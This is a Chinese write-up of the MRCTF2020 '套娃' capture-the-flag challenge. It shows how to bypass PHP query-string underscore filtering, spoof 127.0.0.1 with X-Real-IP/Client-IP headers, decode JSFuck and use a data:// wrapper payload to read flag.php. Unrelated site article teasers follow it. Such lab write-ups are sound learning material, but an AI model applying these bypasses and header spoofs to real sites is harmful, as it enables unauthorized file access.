[MRCTF2020]套娃 php字符串解析绕过,jsfuck编码

news2024/9/20 21:43:20

进来看到代码

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

意思就是我们在url中?后面的东西不能出现下划线和它的url编码,第二个if不能强等于23333又要匹配到23333

字符串解析参考文章:

利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户

经过尝试这两种可以绕过

b%20u%20p%20t=23333%0A    //%20为空格url编码,%0A为回车url编码
b%2eu%2ep%2et=23333%0A    //%2e为.

进去过后页面显示ip不对,下面随便用一个伪造127.0.0.1即可

X-Real-IP:

X-Client-IP:

X-Originating-IP:

出现一串jsfuck码,有两种解码方式

第一中F12打开控制台输入即可,如果有警告按提示输入即可解析

第二种去这个网站解析

CoderTab - JSUnFuck - Decode JSFuck Here

post方式传递参数出现源码

bp右键点击通过浏览器请求复制网址浏览器输入即可复制源码

源码:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

代码解析:

change函数的主要功能是将参数$v进行base64解码,并对解码后的结果进行进一步的处理。具体来说,函数使用一个循环迭代字符串$v的每个字符。在每次迭代中,函数将字符转换为ASCII码,然后加上$i乘以2的结果,再将得到的新的ASCII码转换回字符,并将其拼接到一个结果字符串$re中。

最后,函数返回结果字符串$re

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )老办法伪造ip,然后利用data伪协议写入数据传给2333即可

我们要使$_GET['file'])的值为flag.php

把change函数逆向一下得到v值为

ZmpdYSZmXGI=

PHP脚本:

$str = '';
$re = 'flag.php';
for ($i=0;$i<strlen($re);$i++){
    $str .= chr ( ord ($re[$i]) - $i*2 );
}
$str = base64_encode($str);
echo "传入的v的值为:".$str;

改变请求方式进行传值,payload;

?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI

Client-IP: 127.0.0.1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2041372.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

超维室外轮式巡检机器人打造无人值守变电站

变电站是电力系统的重要组成部分&#xff0c;负责电能的转换、分配和传输&#xff0c;确保电力供应的稳定性和安全性。然而&#xff0c;由于变电站内设备众多、环境复杂、风险较高&#xff0c;传统的人工巡检方式面临着效率低下、成本高昂和人员安全隐患等问题。为应对这些挑战…

苹果iOS 18 Beta 6更新亮点一览:这些新功能让你爱不释手

苹果公司作为全球科技行业的领军者&#xff0c;每一次的系统更新都备受业界和消费者的关注。 iOS系统作为苹果设备的核心&#xff0c;其每一次迭代都带来了新功能和优化&#xff0c;极大地提升了用户体验。2024年8月13日&#xff0c;苹果向iPhone用户推送了iOS 18 Beta 6更新&…

水印去除方法

有一批建筑图去水印&#xff0c;水印的位置基本位于左右下角或者图片中间&#xff0c;因此调研一些去水印的方法&#xff0c;以前做电商图场景的水印去除或者印章去除的话&#xff0c;通常会训练一个unet来做这个事情。 1.工具 3 秒去水印&#xff01;6 款超好用的免费图像去…

Endnote与word关联 解决方案: COM加载项-----》CWYW插件安装

1、首先说一下本次情况&#xff0c;office的版本是2019&#xff0c;后安装的Endnote 9。旧版word也可按此方法尝试。 2、先找到关键的EndNote Cwyw.dll文件。应在此目录下&#xff1a;C:\Program Files (x86)\EndNote X7\Product-Support\CWYW。 3、如没有EndNote Cwyw.dll文…

DETR论文,基于transformer的目标检测网络 DETR:End-to-End Object Detection with Transformers

transformer的基本结构: encoder-decoder的基本流程为&#xff1a; 1&#xff09;对于输入&#xff0c;首先进行embedding操作&#xff0c;即将输入映射为向量的形式&#xff0c;包含两部分操作&#xff0c;第一部分是input embedding&#xff1a;例如&#xff0c;在NLP领域&…

DevEco Studio 5.0 Beta版下载链接

最新工具 - 下载中心 - 华为开发者联盟 (huawei.com)https://developer.huawei.com/consumer/cn/download/

代码随想录算法训练营第十三天

day12周日放假 二叉树理论基础: 文章链接:代码随想录 文章摘要: 满二叉树定义&#xff1a;如果一棵二叉树只有度为0的结点和度为2的结点&#xff0c;并且度为0的结点在同一层上&#xff0c;则这棵二叉树为满二叉树。 完全二叉树定义&#xff1a;在完全二叉树中&#xff0c…

springboot限流验证码登录接口(优雅版)

我们的业务逻辑是如图所示&#xff0c; 限流思路 我们 实现登录接口之后&#xff0c;我们想像这么一个场景&#xff0c;因为我们的登录接口在我们的拦截器中是放行的&#xff0c;如果这时候有人恶意来爆刷我们的登录接口&#xff0c;那我们的这个接口不就爆掉了吗&#xff0c…

【车载开发系列】使用J-Flash下载Hex文件

【车载开发系列】使用J-Flash下载Hex文件 【车载开发系列】使用J-Flash下载Hex文件 【车载开发系列】使用J-Flash下载Hex文件概要1. 打开J-Flash软件2. 创建新的工程3. 选择芯片类型4. 打开HEX文件5. 连接芯片6. 擦除目标扇区&#xff08;可选&#xff09;7. 烧写文件到目标扇区…

计算机毕业设计PySpark+Django农产品推荐系统 农产品爬虫 农产品商城 农产品大数据 农产品数据分析可视化 PySpark Hadoop

本科生毕业实习与设计&#xff08;论文&#xff09; 基于协同过滤的农产品推荐系统 Agricultural products recommendation system based on Collaborative filtering 学 院&#xff1a; 机械工程学院&#xff08;楷体_GB2312四号&#xff0c;下同&#xff09; …

pdf怎么转换成word?介绍6个pdf转word免费方法!(超简单)

pdf怎么转换成word&#xff1f;pdf格式因兼容多种平台和操作系统而广受欢迎&#xff0c;非常适合文档存储和共享。然而&#xff0c;编辑 PDF 文件通常需要试用一些其它的软件进行辅助&#xff0c;这让许多用户选择将 PDF 转换为 Word 格式&#xff0c;以方便内容修改。在以下情…

《Kotlin核心编程》2021版复习记录

目录 0 前言1 基础语法1.1 数据类型1.2 数组1.3 集合1.4 遍历数据和集合1.5 函数声明返回值类型1.6 var 和 val 2 高阶函数和lambda表达式2.1 高阶函数2.2 方法和成员引用2.3 链式调用2.4 扩展函数2.5 面向表达式编程2.5.1 when表达式2.5.2 for循环2.5.3 in 2.6 字符串相等 3 面…

【nginx 第一篇章】认识一下 NGINX 服务器

一、简介 Nginx (engine x) 是一个高性能的 HTTP 和反向代理服务器&#xff0c;也是一个 IMAP/POP3/SMTP 代理服务器。由俄罗斯程序员 Igor Sysoev 开发&#xff0c;并在2004年首次公开发布。Nginx 以其高并发处理能力、低内存消耗、稳定性、丰富的功能集、简单的配置以及低学…

硬件面试经典 100 题(31~50 题)

31、多级放大电路的级间耦合方式有哪几种&#xff1f;哪种耦合方式的电路零点偏移最严重&#xff1f;哪种耦合方式可以实现阻抗变换&#xff1f; 有三种耦合方式&#xff1a;直接耦合、阻容耦合、变压器耦合。直接耦合的电路零点漂移最严重&#xff0c;变压器耦合的电路可以实现…

嘉立创eda泪滴

泪滴https://prodocs.lceda.cn/cn/pcb/tools-teardrop/

【1】设计模式简介

一.什么是设计模式 每一个模式描述了一个在我们周围不断重复发生的问题以及该问题的解决方案的核心。这样&#xff0c;你就能一次又一次地使用该方案而不必做重复劳动。 二.深入理解面向对象 向下&#xff1a;深入理解三大面向对象机制 封装&#xff0c;隐藏内部实现继承&am…

Linux SystemV(共享内存(*)、消息队列、信号量)

个人主页&#xff1a;仍有未知等待探索-CSDN博客 专题分栏&#xff1a; Linux 目录 ​编辑 一、共享内存 1、原理 理解&#xff1a; 2、操作具体理解 1.概括 2.创建共享内存 共享内存的生命周期&#xff1f; key是什么&#xff1f; 进程怎么知道&#xff0c;共享内存是…

使用 FlexboxLayout 实现灵活布局

在 Android 开发中&#xff0c;有时我们需要让子视图根据内容和可用空间灵活排列。这时候&#xff0c;FlexboxLayout 是一个非常强大的工具&#xff0c;它类似于 CSS 中的 flexbox&#xff0c;允许我们轻松创建响应式布局。在这篇博客中&#xff0c;我们将详细介绍如何在 Andro…

原创度检测工具,快速检测文章原创值

原创度检测工具是帮助我们快速了解文章质量的工具&#xff0c;它能以最短的时间帮助我们了解到一篇文章的原创值是多少&#xff0c;并且还能帮助我们分析文章中哪些内容质量高&#xff0c;哪些内容质量低&#xff0c;从而对低质量的内容进行修改&#xff0c;达到提升整篇文章质…